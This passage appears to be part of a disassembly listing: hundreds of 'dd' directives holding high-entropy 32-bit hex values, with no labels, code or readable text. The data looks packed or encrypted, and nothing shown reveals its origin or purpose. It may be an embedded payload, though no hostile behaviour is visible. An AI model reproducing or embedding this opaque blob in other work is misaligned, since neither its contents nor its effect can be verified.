0EC440C7Dh, 59F9B517h, 0B900937Eh, 0B2321DE5h, 0F3BF2428h dd 8B6AFCh, 9987B16Dh, 0AF44127Ah, 0AD0E4300h, 0CD5B91C6h dd 88A200D2h, 2295A1CEh, 7B00ECCAh, 10AF45B5h, 0E78256Ah dd 35C1266h, 0A64424E0h, 49C6042Eh, 0F808304Ch, 1E4600E5h dd 52A0887Ch, 7807BF7Fh, 38BD710Eh, 14701A47h, 1F4AE0Fh dd 617F5FEAh, 0F331AA54h, 58094101h, 0B7EB0777h, 1C4270F8h dd 9E901FDBh, 0DEAEC0CDh, 0EEF2432Ch, 94C0FEE4h, 6A5D532Ah dd 0AEFCC1h, 6D9246DFh, 0B639A256h, 809CD938h, 6CF0F9DDh dd 0AD301Ah, 44C12E14h, 347399F8h, 0EAE4000h, 0BFCA2FCFh dd 0AAA50C5Ch, 6BF0A06Ah, 2E792A18h, 0E0CD15E9h, 4080A042h dd 1E27409Dh, 503D4D04h, 378009D2h, 0FAA423h, 4C041F24h dd 2E31954Bh, 0DAD7E1C0h, 7A24E5Fh, 619EA3BBh, 0FC64D057h dd 58DD0544h, 406A80F9h, 49695390h, 0B3F43F7Ch, 3197D280h dd 25307AAEh, 9589E5A1h, 0E8048E11h, 5B4C1FD5h, 496700A1h dd 38D6FF28h, 35842603h, 0C86105A7h, 1F2F078Fh, 80E267A0h dd 0AA6BC215h, 0F87DC0E1h, 0E7CBC800h, 0F5112BD1h, 5E400B1h dd 3920D89Bh, 151CDB7Dh, 560007BAh, 0D568A0BBh, 61E400F4h dd 0A98226E0h, 741D972Dh, 17D1D13h, 417981Ah, 2080FB87h dd 0E1ED6949h, 0A07F9E2h, 9C884C02h, 34BD2080h, 0E4620054h dd 1A64E3A2h, 3030C3E9h, 0AA42388Eh, 0AC5B0013h, 0B23B731Fh dd 993C5885h, 392C80A9h, 3059FC41h, 0F4460029h, 0C7EAADC3h dd 1D7DA76Bh, 8F452C18h, 389BE148h, 81800BECh, 0AECCD0BCh dd 6AE89489h, 2A3B9CC0h, 0FFFDAE1h, 4AA2CB3h, 58E53A60h dd 6A3AEC7Dh, 79348EFAh, 0B2A3E5F6h, 9F1FBC00h, 40335Ch dd 0C5717609h, 8455028h, 2F14B30Ch, 397C40ECh, 69BCBEC4h dd 569F9180h, 0CF3DFDE1h, 0C8EFAB1Eh, 3E742080h, 0F11E4Dh dd 8DD85F13h, 0D3DBE92Eh, 4CF07E54h, 0A7B85700h, 8319467Bh dd 0FD9C0909h, 0DC00802Fh, 523E592Ch, 0B3318700h, 7F89AF0Bh dd 1CBB00F1h, 504D9612h, 0FA1873FFh, 1AA069B1h, 6E0E5CF5h dd 2742A0Fh, 4C656E20h, 0AD0094D9h, 3C37515Ah, 0B071B8BCh dd 124D00AEh, 0AE0DC9Dh, 0D5007F6Ah, 702BC4AAh, 0F85BEC7h dd 7C65969Ah, 0F1DC71E0h, 461FA258h, 41C32C35h, 0D27045CEh dd 4EBBE0BDh, 3BE20406h, 877F2392h, 3344D08Ch, 39000DE7h dd 1FB50E51h, 2CA37524h, 48FA2Ah, 0D9B927B0h, 0EE00979Dh dd 0CBF9D589h, 0A3B7B8h, 0D1803231h, 788E1AA8h, 0D59C8A00h dd 25172CD6h, 510A7A64h, 54E8A47Fh, 0B8807F56h, 0D7E03ECh dd 2097CEBDh, 273BE888h, 5B47F502h, 40E71279h, 3B9C941Ch dd 1A80E946h, 29DAAB96h, 0EB00DC7Dh, 68D101B5h, 1189382h dd 9ED9A104h, 0D4517FC4h, 0E4EBE86Ch, 0EC004D14h, 0F6EE1C40h dd 0B26D68h, 6F870CFCh, 0C9F1A84Fh, 245D9900h, 26969E11h dd 0E97400E2h, 46339CE0h, 0F80E2757h, 2086949Fh, 0ED958C15h dd 4C7EE82Ch, 49030036h, 62B25AB9h, 0AF152A8h, 0F42A9A1Eh dd 7489E8C0h, 6E2D1Eh, 53E0419h, 3C9C7985h, 0B981707h dd 83916DB3h, 66ED2BF3h, 98C92EECh, 7B6101AEh, 0B78BADCh dd 641424DEh, 0D8008A7Ah, 0FA3E63EBh, 3EDAD28h, 0B49B8EB0h dd 2BD8BB78h, 0A94DBF64h, 20EB014Ch, 2911D165h, 0E160C30h dd 0BEF4F996h, 523B0FC0h, 0A000FF62h, 4C288858h, 2EB1FBh dd 22D8D178h, 64759CB5h, 7C6EAF5Ch, 9497661Dh, 488B2FC1h dd 79E8D7F7h, 67C303F8h, 44EBAA6Ch, 0DBA0B1B0h, 0C90070ECh dd 0DC3906A9h, 2B4EFFh, 9DDF2785h, 2F6FF7A7h, 0B68A300h dd 91151484h, 0BF721D71h, 66D2804Ah, 80BEBB37h, 0C89B5F00h dd 0EB514C0Dh, 0A67E77h, 3F31720Fh, 4A43CF6Bh, 3002570h dd 726AB1Fh, 127971C9h, 3065D0D4h, 0AC68204Ch, 8800D890h dd 19FF4A3Fh, 43499Ch, 9EE2C2AEh, 0DC0C2E58h, 48941803h dd 98A97D90h, 7EDA72B8h, 0C51F2C7Bh, 80182691h, 0B12F0D36h dd 349A3988h, 0BAE16B01h, 4589060Bh, 76998440h, 674200C5h dd 308811D4h, 9B0E6B66h, 42A33EF9h, 60C27C22h, 12390E7Ch dd 6E014Bh, 0DA49FCC7h, 0F500C613h, 0D576E95Eh, 1FFF1Eh dd 8908227h, 0D454E7EDh, 122481Fh, 0BF29C047h, 7DE6E00h dd 684500B3h, 48317ED6h, 0E5904CB2h, 0F71440BFh, 4CEFE0Bh dd 0F3EF4A24h, 0EC70D067h, 0BA1BBB09h, 0E9D1124Ch, 431518Fh dd 716AC8h, 0C5E40CDAh, 39AFAA35h, 0EF47B800h, 221BA01h dd 77C300C8h, 0AD1D3456h, 0B8383ACDh, 0AC048146h, 0D8658693h dd 25CCE5F5h, 0C3CE0054h, 1167FAA8h, 3A003F69h, 1B94D08Fh dd 98AB3B8Eh, 458A00Fh, 0B9741384h, 40205C46h, 1ABC92Ch dd 0DD0F506Bh, 27777DBBh, 2F710CC2h, 0FC3216E3h, 0AE0B6100h dd 0EB7F570h, 7BEF345Ch, 4491C02Eh, 0CA8E7900h, 8D3D64h dd 0F15F49D4h, 53271A83h, 15A90902h, 0C04AF5A1h, 0CEF88BCh dd 4E837246h, 0DF001810h, 55360DCBh, 714B6D1Dh, 83680062h dd 1F0AAAF5h, 1605EDF2h, 326A0566h, 0CDDB7580h, 4EFB0130h dd 2DD0533Eh, 63F36098h, 83AE4F0Fh, 3579C1C1h, 76E0A38Dh dd 4B6F0038h, 0FEB3E777h dd 0D4004212h, 0AFA24052h, 0C0816Ah, 0C3470D6Eh, 0A35E3085h dd 0EB5F8D00h, 35ECE911h, 91931C5Ah, 0DC618A19h, 4D860788h dd 2DD260B1h, 0CB8726Ah, 0AD5C232Ch, 0F0C03F1Dh, 0B1DD4F47h dd 49BC04C6h, 0FA4C7184h, 6205A801h, 5AC808DAh, 0E2551D0Fh dd 0F130C032h, 229C6CEEh, 0AAE47E00h, 3D3AB484h, 0CF50362h dd 0CC8E9110h, 0E012C5A9h, 4600CE6Ch, 87C65809h, 31A20h dd 7F7DD074h, 701904ACh, 0BE5348h, 0AFF7F934h, 0B0EFC08h dd 0F5C1ED4Ah, 0C4BAB8A0h, 0DD5EE399h, 560017F8h, 7376A6B9h dd 0CB006F17h, 575BF684h, 3C5D89h, 7C911F8Ah, 0EE8B941Bh dd 0C033A800h, 0A3E6D4C6h, 0FCB7E2A2h, 0AF930186h, 9DA301Eh dd 0CA0328Fh, 79FBBB83h, 0C1460091h, 81FCADF4h, 0BC5CBF52h dd 0EA710744h, 3D416609h, 1847B428h, 240025A5h, 159A8333h dd 0B908C330h, 181FA571h, 8700AB3Dh, 5BA8EB65h, 68E6063Ch dd 219725BEh, 0CE9A9B03h, 0FA96B6h, 2D065359h, 0CF5D68D8h dd 27D63A00h, 3DAD5F48h, 0EDA15094h, 229900FAh, 0F5E3E24Ah dd 0F800E0F0h, 0F4064FCAh, 0CAE2991h, 321499C6h, 593130E0h dd 77F64E96h, 1766829h, 0B37CE0D6h, 0D88A02CCh, 68003EDCh dd 37C53ADDh, 2ACD81h, 0B754EF6Eh, 5531256Fh, 22949100h dd 4A327AC9h, 64F100A1h, 0C4F87661h, 0DB385DF4h, 7E5B80E0h dd 98A8C6Dh, 5C77039Fh, 90D24004h, 9B89A8C8h, 6D038E78h dd 20D583F8h, 19F90C3h, 0FD730081h, 98A86FCEh, 6700A105h dd 0F5D3F69Bh, 50D46559h, 90BC99h, 0D6A5FE87h, 0C3D030E4h dd 45A35A00h, 0F3465BC9h, 0FC1700BEh, 4B10D48Ch, 0F400872Eh dd 0AF5C6B29h, 835D7Eh, 6E28ABD2h, 0AD6D37C6h, 0C093D52Ah dd 8A0B0204h, 1CB28DC2h, 882028ADh, 0A9C78146h, 70375A8Dh dd 0AA006611h, 5EC3E186h, 1F09E7EFh, 87C6C401h, 110A6276h dd 0F499A00Bh, 7242AA1h, 9500CBB7h, 7BE51E10h, 0D90B1306h dd 5A5C004Fh, 0AD3487E2h, 0FE6B0A00h, 0F339CDB9h, 0B04E00D2h dd 0C10B2A0h, 0F000406Ah, 0BFA90342h, 6172B9h, 1F980194h dd 0E537FB9Fh, 23090209h, 8F2460DEh, 4CB57983h, 0C100340Ah dd 31CB8EEBh, 0D2007E63h, 0D489CCA7h, 437AA6h, 268206B1h dd 581962Fh, 69912901h, 0F1AEF43Bh, 0D834D4h, 61163D92h dd 6F308226h, 46301EE2h, 0B3E01062h, 2F3F06FBh, 96578AB0h dd 0C277A500h, 7D36DB39h, 0F382009Eh, 78BF91BAh, 2E02EF37h dd 0AC35F532h, 5C81E00Fh, 0CC2F00C6h, 3FA7B618h, 0D10056B5h dd 2B7D044h, 0E08B6080h, 0CDD900D4h, 527C3C83h, 66008D9Eh dd 6465234Ch, 3D97C21Ch, 0C7005AFBh, 0DB2D25F3h, 470B8221h dd 0D07ACE8Eh, 0F58000A5h, 33FB466Bh, 0F901DBD4h, 0F3A58C5Ah dd 308FAB8Bh, 83003E07h, 6F0C4B03h, 31124CB0h, 64DC5254h dd 814800E1h, 79CA2D67h, 424890F6h, 0F38E0018h, 0BFE0979Eh dd 77E2AEh, 9B0A86A2h, 0AC0B3A09h, 8A13FC00h, 50060D62h dd 0B2B30024h, 16284772h, 777B6A2h, 0D1BF6E00h, 0B4E7DF70h dd 24A700B3h, 0C7B803DBh, 22171AF2h, 0FD0937D7h, 0E20FFD80h dd 0D00D3220h, 0DA00F7CDh, 0D2EE54C7h, 881F9Fh, 404E3961h dd 249C8E8Ah, 6127252Ch, 32DEE0Bh, 0C06A59ECh, 94178051h dd 529A00F4h, 46F407A8h, 6FFAE5FAh, 0DEC6F900h, 0FEE6F520h dd 0A15512DBh, 6E9CC819h, 67AE2D00h, 0A64D73B5h, 1E1B03CDh dd 1963A8D3h, 50755400h, 0B2FB7630h, 0AF791D11h, 0AD41000Ch dd 262D1E72h, 0C55FE414h, 0D6D4008Eh, 9875E01Dh, 4794008Dh dd 0BD66B219h, 8200DC4Ah, 9A34DF7h, 4995DBD5h, 971DC54h dd 4E8B6E78h, 9B93C4C0h, 0A7B49E00h, 1C1B8EDh, 0AED5000Ah dd 16F8C6AAh, 0DC002D08h, 0A1EA0BB6h, 13A6788Dh, 82EED582h dd 7AE06CD4h, 1803E473h, 65EAE849h, 2E1AB857h, 0CC8505E1h dd 85FCF672h, 80C4B63h, 9C1BF682h, 84F86C50h, 9A120A00h dd 2378BD9Eh, 0D42C13D2h, 0C0385C81h, 0E4385AB9h, 660B7BC7h dd 80E140B3h, 0CA0A59Ch, 0D0B80FA9h, 88E5F6C4h, 40D8002Ch dd 0F8CA2E05h, 79042731h, 0A7E87F12h, 0FB1900D5h, 0E1DAE705h dd 70C48FC1h, 5A418837h, 0F71CCDC5h, 996E3909h, 3E54E066h dd 0E8865B2Ch, 0C78F009Bh, 5B241974h, 97EF00DDh, 0BABEEC52h dd 45069D6Eh, 0AC07B2Bh, 54190060h, 0DD63CF05h, 0F5F64D18h dd 0D15E6400h, 0F8F7458Ch, 155901BAh, 0DB409F13h, 127AD85Bh dd 0FBA0A41Eh, 60791F0Fh, 0C0C6D3EBh, 340100E2h, 2B48680Fh dd 0AD039856h, 3AC892A0h, 757EF12Fh, 0FFE814E1h, 3D87008Dh dd 18F7F87Ch, 9C005F6Ch, 592F85EFh, 2E5112FBh, 0F6A91Ah dd 5F490BF5h, 0B900BA23h, 21D19A66h, 0F878A085h, 8C6313Ah dd 2053A220h, 58C08384h, 0F90E5299h, 0AF4700D7h, 8BE56E9Eh dd 0B49EDEF0h, 5560FE01h, 5A202375h, 8D9B5091h, 730303C7h dd 0DCC572CBh, 3DE7D2C0h, 7C61C000h, 873A1FFDh, 559AFC10h dd 9ECCCCBh, 0DBCA022Fh, 4D4057B5h, 0A9D8604Bh, 54073CACh dd 107D9A3Eh, 0EEA8CF00h, 6B0300F8h, 4AFA060Fh, 55E4CA0Ch dd 2C60CD00h, 6E020467h, 0DDB10083h, 2D9B09B9h, 0D713C070h dd 14C40B15h, 5C48E0h, 0E31106F0h, 3EBAD15Ah, 0F3ABC31Dh dd 69E7FEC0h, 91C57A6h, 0B501D32Ch, 90C47084h, 5F554620h dd 38FC9717h, 0FBB1D01h, 60F6BA0Dh, 0C2CAA08h, 3D54DCDEh dd 0B6008511h, 7F60B30Eh, 13F74E1Bh, 52DCE6h, 0DDC07A0Eh dd 44902B05h, 8899B900h, 0F6AC4571h, 61C91E4Eh, 0ED94C08Dh dd 0FB2E9B72h, 6E79D090h, 0A736E51Eh, 3D8A006Eh, 0B780A40Dh dd 0B1DD67DCh, 70C21ECDh, 499E4045h, 83A873Ch, 2F64D000h dd 444067C5h, 889A88h, 592BD925h, 6391447h, 0E57E8600h dd 0D4A13BC5h, 1EB80416h, 0C56890AAh, 15660395h, 6BF8CCECh dd 2800750Ah, 0C38086F4h, 9CF31C0Fh, 0B52343ACh, 0A080708Bh dd 7E00E82Ah, 6C56C83Bh, 0FA2032h, 0C9E9A8F7h, 50173F76h dd 0DC10F000h, 866D3B2Ah, 0AA40E3Ah, 1107F138h, 0CDC38E20h dd 0C9836AAh, 120015A3h, 0BAC3EE96h, 19BEF5h, 0B8D06753h dd 0FF32DB3Fh, 41556812h, 0ABF2A800h, 0F369E1h, 0BEB1DC22h dd 0CC1F26B0h, 915AE400h, 610DEFAh, 40ED5BD9h, 9D83B32Ch dd 0B70103BCh, 8CDA46F9h, 6C749290h, 6AF10E21h, 0DC20C935h dd 5FEE8EA1h, 5C2EE202h, 0C0637D9Bh, 3E84B5CFh, 74B367h dd 39F8F8Bh, 0EAC66BEFh, 86A1B600h, 7932251Eh, 0F89D0481h dd 0B0DA6959h, 0A3747FD4h, 8006098h, 0D4E499C5h, 0E4D2A660h dd 525B0097h, 34765D8Ah, 0C07F427h, 0A8138494h, 0D8BF7190h dd 64101DDCh, 2EC8B038h, 3900662Dh, 69D98E4Dh, 25262F73h dd 1C940EF9h, 9DDC7B41h, 9B3A00FDh, 0AA84B99Ah, 3D4B318Fh dd 81F12002h, 99CB0389h, 2C9C14C1h, 9A7B1F18h, 8DAB6C40h dd 3CD3F54Fh, 9F804AF6h, 0D8AC1154h, 927D74EEh, 0B92E3A0Fh dd 60FDC92Fh, 3D1DC04h, 154A7177h, 9103F644h, 0A2302689h dd 9659C021h, 60149654h, 6FFD9127h, 28EBF43Eh, 0CBF40CDCh dd 0D80950B9h, 37E780F9h, 3FC0224Bh, 24057F31h, 5490AEh dd 0FCA24CFCh, 7C00E85Ch, 3607DE9h, 50B40153h, 0D6DADCh dd 0B8E29718h, 87247EA4h, 9C8A4317h, 0BD6CC900h, 986AE9h dd 8C4112EEh, 8A2BACCEh, 1391F900h, 80679C02h, 0C5E03DDFh dd 0E9EC6680h, 43175B92h, 499D4700h, 0CA881930h, 0D77D0234h dd 0F8D2B754h, 377C80A3h dd 50BF7288h, 0ED045B7Dh, 8FA0D028h, 58D76300h, 2D0F0957h dd 6076B55Fh, 2CF6CA65h, 0A79B30B7h, 85E640D8h, 0BBA86D03h dd 17C52B7Ah, 1F671D18h, 743ACAF8h, 0EBFA809Ch, 0BCEAF637h dd 69C24E18h, 0D587A19h, 8BD17C36h, 0F213E811h, 0B2715101h dd 2097516h, 9DA3CBh, 0F22BBC21h, 4CAD361h, 0F46D0E00h dd 30F7BE93h, 0D69AFA1Ch, 12640390h, 697B68DDh, 0C19D5D00h dd 0A9E20DF6h, 0E8A572FDh, 2921C09Eh, 0C6669D14h, 0C9872C00h dd 0F1966360h, 0A7EC187Ch, 34E6D8BEh, 5260F67Dh, 8A3C3061h dd 2770C090h, 0B39925CDh, 0E4B7505h, 38C76CA7h, 4F792460h dd 45AC0720h, 0C05C2ACCh, 9BE596Bh, 0B2FD071Eh, 0A11CCFA4h dd 57CE6640h, 6F8F5284h, 43411CAh, 999807FEh, 7EC0CF2Bh dd 2507206h, 0C91ACB67h, 9840D548h, 1003CF9h, 62B6A499h dd 62457EA3h, 0C8AE297Dh, 129B6300h, 19983Fh, 798B4A0Eh dd 0D17BE799h, 3190F300h, 828102D0h, 0CFDF03E6h, 0CA012454h dd 78F415E0h, 0F5F38800h, 696FA318h, 0AB143BCCh, 0D1CDAEh dd 9B264A23h, 0A700B3BAh, 0F748D1AFh, 5C6264h, 1CF104D8h dd 7F4D9F8h, 66DEE20Ch, 1845874h, 56B83C19h, 4050C5F1h dd 7DAEE4CDh, 0DDD2750Eh, 4DE8C0EDh, 0F1402Fh, 200F4697h dd 0F6EF02B5h, 728B5000h, 1B5E44A4h, 31960055h, 86E1F49Ch dd 0A300D699h, 5866DC35h, 3F1706D0h, 758052AEh, 28B64779h dd 0EE004DE9h, 0CC93BA48h, 506309BFh, 0FF9B421h, 0D062A2BDh dd 700BD7A6h, 0A3DE4E04h, 0A808025h, 0F08BA58h, 30C089BBh dd 7DFFF500h, 3E7313C4h, 1CC2E2Ch, 0C961DD00h, 429DE2h dd 0DAAD12FAh, 0C67922EDh, 4AA54033h, 0BC63A0DCh, 363F4844h dd 33B40800h, 50077229h, 0A7EA1B00h, 0EE0AE484h, 0B66C011h dd 42D1A910h, 32E91500h, 99FAEF9h, 475D38ADh, 689E1Ch dd 18D3FD62h, 4000B25Ah, 70286BEEh, 0E805F65h, 0BBD6D8F4h dd 0FEE0007Ch, 0D2871868h, 0A7BD0400h, 4CB6AAE2h, 0EAA25049h dd 92450381h, 0E9D46A8h, 0DB1FE08Fh, 7A00D77Bh, 9E856D67h dd 246809D0h, 22B38Fh, 3ADB1B73h, 0C739B8E0h, 0ED6F8746h dd 52A0FE62h, 3A9603ABh, 2C8013A8h, 4245E91Eh, 6F0024DDh dd 0F440C854h, 250C5Ch, 209BBDC4h, 0B581B609h, 0F532D600h dd 0A27AE229h, 0E65A0060h, 0C27691B3h, 0C1007204h, 83C0F261h dd 2023A6h, 1F35FA67h, 0F59F07D9h, 0C33AAF00h, 54B5DAB3h dd 0EE1B7997h, 0DB2100A3h, 7B053EB6h, 16394F86h, 0D6DC8178h dd 0CC04DE90h, 0F00B25ECh, 0F1330035h, 0B7614B9Fh, 843FF4AFh dd 0B32080C0h, 1EC10166h, 57EB007Ah, 0C2BA0E60h, 76068940h dd 1A44FBF1h, 33D50060h, 2FA7480h, 5E3795B4h, 471128B8h dd 51C8F348h, 0ABA000FEh, 818D7D14h, 0AC030935h, 0E18B2A76h dd 30B000A4h, 0CEE0F397h, 9D00EC31h, 0B73B5B40h, 0A7D848h dd 0C82E9C4Fh, 0B3F679BBh, 94034D00h, 0D82BF831h, 558C4851h dd 0EE6C3200h, 0ACB9B85h, 0E1474A03h, 0A88B45E8h, 7F214CC7h dd 5B413956h, 0C07FA69Dh, 14B1F303h, 8D00D565h, 9336A373h dd 3EEEC3A0h, 0A100A6C1h, 5F977784h, 8600091Ch, 0DAEF10B3h dd 96A57Bh, 410A1B5Ah, 5D39D6E4h, 0C613E600h, 5031D46Fh dd 0AB0409FFh, 90009D61h, 1FB363Fh, 82B7D900h, 607AEBB3h dd 45960031h, 83C5CAFAh, 6E18486Dh, 2160C765h, 0A1AA006Bh dd 90797294h, 8D76BBA2h, 4200D798h, 7310DD05h, 30E5D429h dd 0B9193E91h, 6F00E4C8h, 38FADED5h, 1E1368B7h, 50DF86h dd 4162A75h, 7200EF84h, 0CD0F23E3h, 0AE6D2F2h, 7EC98D57h dd 3BDC00ACh, 0AB5B580Bh, 6C015900h, 0D312D420h, 0FCC901EEh dd 0AFBCDBE3h, 3403C081h, 80532B00h, 9F327A75h, 3E3001D8h dd 4CCECC85h, 0DA82D490h, 189D7D0Eh, 14D0C083h, 4B3A598h dd 0CA32EE54h, 2A049317h, 915EF200h, 0E3438DC3h, 0EF5000D8h dd 153B60C2h, 42398789h, 0C75D80BCh, 4823C5DEh, 2C8800C3h dd 52D66D3Bh, 0E37E8D55h, 85C1D817h, 1648F514h, 0BA01EA0Dh dd 0BDA8F82Dh, 17E937D1h, 0B120B547h, 90E0971Dh, 6BD848E4h dd 0C1FD050h, 0C3CEC4BEh, 520054E0h, 0CD15DA73h, 0D36E9Ah dd 6C2C4B1Eh, 0B7412976h, 9CAB7400h, 2DE7932Fh, 14200001h dd 9FF2DB83h, 405BC28h, 39E88A05h, 0ADC33580h, 1DCE725h dd 0E5D02CDDh, 9C870BCEh, 0F4C6F700h, 50003494h, 0F90AEB2Bh dd 0F86CABh, 383A2D07h, 0ED161221h, 0D9857000h, 0DB9891Fh dd 0F787003Ch, 576EA75Fh, 0C0011229h, 0EE26DD32h, 0E0C789B8h dd 1B6C5Bh, 8348EC97h, 8624A596h, 36613200h, 0DB413125h dd 0D3512EE3h, 200400D2h, 9E748588h, 0F4FB0A0Eh, 6C0BE0ABh dd 26382Ah, 7E43D1B5h, 0FFA8FEEDh, 67B4EE00h, 0B36C97E4h dd 6AB60076h, 1B7B5670h, 1C00E3C5h, 0A89BEC2Dh, 8D6775h dd 0A9CD217Fh, 657351CBh, 0C135BF00h, 0FC29BD84h, 80AC3CBBh dd 2FAD0F80h, 0AFE66D43h, 4F7AA400h, 0BE4A6E64h, 1D3E7D56h dd 146FE53h, 4C76CF2Fh, 0FBF080EBh, 9F37C48Fh, 558C0077h dd 0C16695DAh, 67073550h, 0C35AFCADh, 160F1C30h, 0A8411D33h dd 0E06640D1h, 814372EDh, 6618800h, 8EB2AD98h, 169C7176h dd 1EDFEEFBh, 0CEB23C40h, 0BD025D11h, 806D2795h, 3455E4DBh dd 419C5A05h, 0BBC7F77Bh, 0A370AD80h, 1A527C2Ah, 0B15BBE0Ch dd 73D41810h, 9E9D55Ch, 0FB4E303h, 0CDD024Ah, 0FD18A085h dd 0C324655h, 622AAD99h, 0D0A34A0h, 0FCFF4C37h, 0BC81729Fh dd 713AB7D2h, 0CA67DCh, 2F188AD3h, 3784DC9h, 7C810B03h dd 0E341D9E2h, 0F2A800F3h, 0AF29C919h, 0C11DC214h, 658078A1h dd 6CB5504Ch, 0A61600B0h, 0B131C0BCh, 20005592h, 8E3A698Fh dd 579B7Ch, 0E2F7F618h, 27AD0D59h, 6D37112Ch, 0C834CF00h dd 7DF405Ch, 304A53B4h, 422540F5h, 5A0DFB88h, 0C1D5D447h dd 0EB049FE2h, 10A94706h, 2ACF114h, 0A540080h, 77AE83AAh dd 0B97A00BDh, 0D413E358h, 0F119C8E4h, 0AE29FD5Eh, 7C44F208h dd 46D64547h, 0C24229E2h, 7E874111h, 0E94828A0h, 88C6B140h dd 293995DCh, 9AF40062h, 0B13B16C3h, 0A482165Ah, 0E6970E7Ch dd 0BA1789A3h, 45BBB6C8h, 0EE3A7B00h, 330E8EDh, 1DBD3914h dd 57FD0E7Eh, 7000D909h, 0F54E0725h, 8E907800h, 224F471h dd 25834CBAh, 0B141C001h, 0F12921DBh, 0D91DFCCDh, 250EDC72h dd 27F0A4D5h, 0E111CF07h, 0A450C561h, 0FC0528DFh, 0B1A900C8h dd 37CDDEA2h, 0D3005678h, 9FE0792Bh, 0FCC01F23h, 6EB600D2h dd 650FF5D4h, 3FE46A8Fh, 8D95982Ch, 9372AA00h, 1590490h dd 8A383CD2h, 5277FEC7h, 5CA07DD8h, 0DFB6FC3Eh, 7A2E151Fh dd 3BEC9380h, 829DADh, 0FE251923h, 0D21DCFEEh, 8976CC00h dd 0A1865652h, 38D80030h, 0F29B2F92h, 0B100670Eh, 4EB90741h dd 7E82DA0h, 7AE4CF17h, 4F3709Dh, 9B1B4CA4h, 0B8B080C4h dd 9BC66DEh, 2B01D2FEh, 91D98A80h, 0FC0EA678h, 20FB6009h dd 0BE4211ADh, 8469005Dh, 0C7A77A73h, 75F08974h, 536C1C01h dd 60A9720Ah, 8D9BE4h, 45AA66B4h, 9AB60E6Eh, 1479F4F7h dd 30B45150h, 9464C703h, 883F28AEh, 0B5B0DE8h, 7DB446FCh dd 0F50718Ah, 5C4E174Dh, 0C057DE1Dh, 3973B3DDh, 4600E225h dd 6402F9E1h, 0F2FA90h, 936C9D81h, 5C25DFD1h, 0A010C500h dd 0AC322992h, 0A8D7B8Eh, 812767CCh, 0E8B203E1h, 95E3B652h dd 0C9C46AD0h, 1305E600h dd 23F3D4FDh, 0E48400DAh, 12D2900Fh, 40A6D2Fh, 9CFE783Eh dd 35EB83Dh, 820C130Dh, 5F649FD3h, 0C7088E83h, 84B1AE20h dd 70B402A3h, 0DC583EBDh, 12420040h, 0A9989h, 0E6D70AC8h dd 704C2Bh, 475414EAh, 9233E4E7h, 79AA0703h, 0EF015181h dd 0AB3CF2E3h, 6630007Bh, 0B256B341h, 0E4079249h, 7FDA0D32h dd 4DF0E36Eh, 6296BAEh, 0E5202C00h, 54037036h, 0CAA96563h dd 818D822h, 1AEF1C06h, 0CDA040BEh, 34392D41h, 0C700F771h dd 0BF9412C4h, 382EAE69h, 109F83FFh, 420CC08Fh, 0D145BE56h dd 26337003h, 0B0A69F2Ch, 7D137Ch, 0EECAD9FDh, 0A9F7F119h dd 8CB72002h, 68460ABAh, 88ACF0h, 775476E8h, 2B379A91h dd 0EC0301Fh, 5768D780h, 79080BBh, 0DD27D448h, 0DF1FC093h dd 8B011C67h, 24E98488h, 70DC920Eh, 0FC7200B5h, 7CC4367Dh dd 0E40098C1h, 0A7CCC013h, 44C5FBh, 7A4B954h, 0C9BD0F52h dd 0FD0096E0h, 69D12DC4h, 0BC6440h, 91F0A82Fh, 7DA5902Bh dd 0DC2CB300h, 0D19D676Bh, 725AF6FAh, 36C509BFh, 0B200839Ch dd 449451B6h, 0F9C8E707h, 23E0D0A6h, 31FF330h, 4B7DA449h dd 20B728CAh, 770AA75Eh, 974D9926h, 41DA5807h, 11D24F20h dd 0F6177C6Dh, 0A082396Bh, 0A1C7D00h, 979B6A35h, 5D053000h dd 5EB65AA4h, 0A30E1C83h, 7FF640DDh, 0CC0AF289h, 0F7B3613h dd 3B747800h, 0B09FD1D0h, 10290150h, 0C3FE93F3h, 1A12EC86h dd 0A53A497Ah, 0FA95030Ch, 0C82B5B37h, 199F53Dh, 0C2010DF9h dd 0F036D66Ah, 4003A32h, 0BE19C4C3h, 2FF9E9h, 215AC045h dd 98657A3Bh, 0D8A8D000h, 9B52957Fh, 138B0103h, 33B20DC8h dd 7024DC90h, 0C35FB307h, 9A10C564h, 609FCB4Bh, 0C979F888h dd 0CE203E5h, 0E4FB4Ch, 1AE2614Fh, 0BC8EE4h, 0B54D51EEh dd 0ADDF8C71h, 82577900h, 2401413Ch, 810C004Eh, 2230FFA9h dd 0BC1F5365h, 9CC7CE19h, 5702F082h, 0EF9080DAh, 0BD51F56h dd 0ACBA06C3h, 0C95AF680h, 0C607CAB1h, 0DDBE6EF4h, 0C84FA6A0h dd 1E85E20Eh, 0C0064927h, 9817CE40h, 0AF00729Fh, 26BAD43Bh dd 5345F94h, 6D0F58E7h, 0A9CC80B9h, 2900B661h, 1EFCEBCBh dd 566E6ADh, 0CDB23A1h, 11B509E5h, 0BFB8E800h, 8548A84Ah dd 0F4037E3Ch, 8F6B2996h, 0C9369112h, 0F24BAAC8h, 8086007Ah dd 0A6D8AE87h, 0C2E9922h, 0FB00A5E3h, 0AB3DF2A4h, 36B00FFh dd 994A7712h, 450029B8h, 14E05BD0h, 5801D363h, 1500CA8Dh dd 0C24AAE10h, 2C007D3Ch, 0C7C950CAh, 0EC434FD9h, 0FB07C94h dd 18E493Bh, 0F06BF180h, 90029EEh, 0A0CCBA93h, 0FAAD6495h dd 0AA2F01ECh, 0A43AC81Dh, 0D84FFC56h, 18AA33Ch, 0B9CD047Ch dd 3420CA6Fh, 34E10027h, 3B4811AAh, 1E003CD3h, 0F206E13h dd 91C1809h, 0CA018798h, 396A80DFh, 40DDB9Bh, 163D6405h dd 31A4C059h, 0F500295Eh, 1252BF1Eh, 39F18819h, 1880F83Dh dd 40CCAF06h, 87740B2Dh, 4ED5101Fh, 0DAE1FD00h, 39647Ch dd 9B4AB581h, 0FFC3CF2Bh, 9465000h, 52DE8CA3h, 0FD055029h dd 0C5AC00F8h, 565F115Bh, 53EE2050h, 8054623Fh, 8CEF0368h dd 0A1E0C8h, 196344CCh, 237C7A46h, 350EB300h, 0CEC08943h dd 0EAA10FEEh, 0A3203327h, 0B362387Bh, 81DFE0Fh, 8C7AC03Ah dd 32E2291h, 9EE6A8A0h, 3BB82710h, 0A12641D7h, 3F0098F1h dd 0EB8A052Ah, 520F00B3h, 5781628Fh, 0A03867C6h, 0A6F00084h dd 68D03DCFh, 0E6441D3Ch, 0EE00BF29h, 922C7611h, 42E23B8Ah dd 27E46100h, 0C00771ABh, 7618006Bh, 30253633h, 1901D89Eh dd 0D6054AA4h, 0E06055F4h, 84A70010h, 0DF878EB5h, 0ED7CCB5Fh dd 